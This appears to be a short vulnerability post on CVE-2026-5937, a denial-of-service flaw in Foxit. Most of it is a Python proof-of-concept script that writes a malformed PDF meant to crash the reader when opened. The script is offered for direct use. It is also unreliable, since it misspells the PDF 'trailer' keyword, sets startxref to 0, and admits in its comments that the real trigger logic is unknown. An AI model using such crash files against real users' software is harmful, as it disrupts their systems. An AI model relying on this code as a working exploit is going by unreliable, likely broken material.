CVE-2026-5937 Foxit参数验证不足致拒绝服务漏洞

# PoC Concept for CVE-2026-5937 # This script generates a malformed file that may trigger the unhandled exception. # Specific parameter logic requires reverse engineering of the target version. def generate_malicious_file(filename): # Simulating a file structure with invalid parameter format # For example, injecting a string where an integer is expected header = b'%PDF-1.7\n' # Crafted object to trigger parsing error and std::invalid_argument malicious_object = b'1 0 obj<</Type/Catalog/Pages 2 0 R/InvalidParam(NotANumber)>>endobj\n' xref = b'xref\n0 2\n0000000000 65535 f \n0000000009 00000 n \n' trailer = b'tailer<</Size 2/Root 1 0 R>>\nstartxref\n0\n%%EOF' with open(filename, 'wb') as f: f.write(header + malicious_object + xref + trailer) print(f"[+] Malicious file generated: {filename}") print("[+] Open this file with the vulnerable Foxit product to trigger the crash.") if __name__ == "__main__": generate_malicious_file('cve_2026_5937_poc.pdf')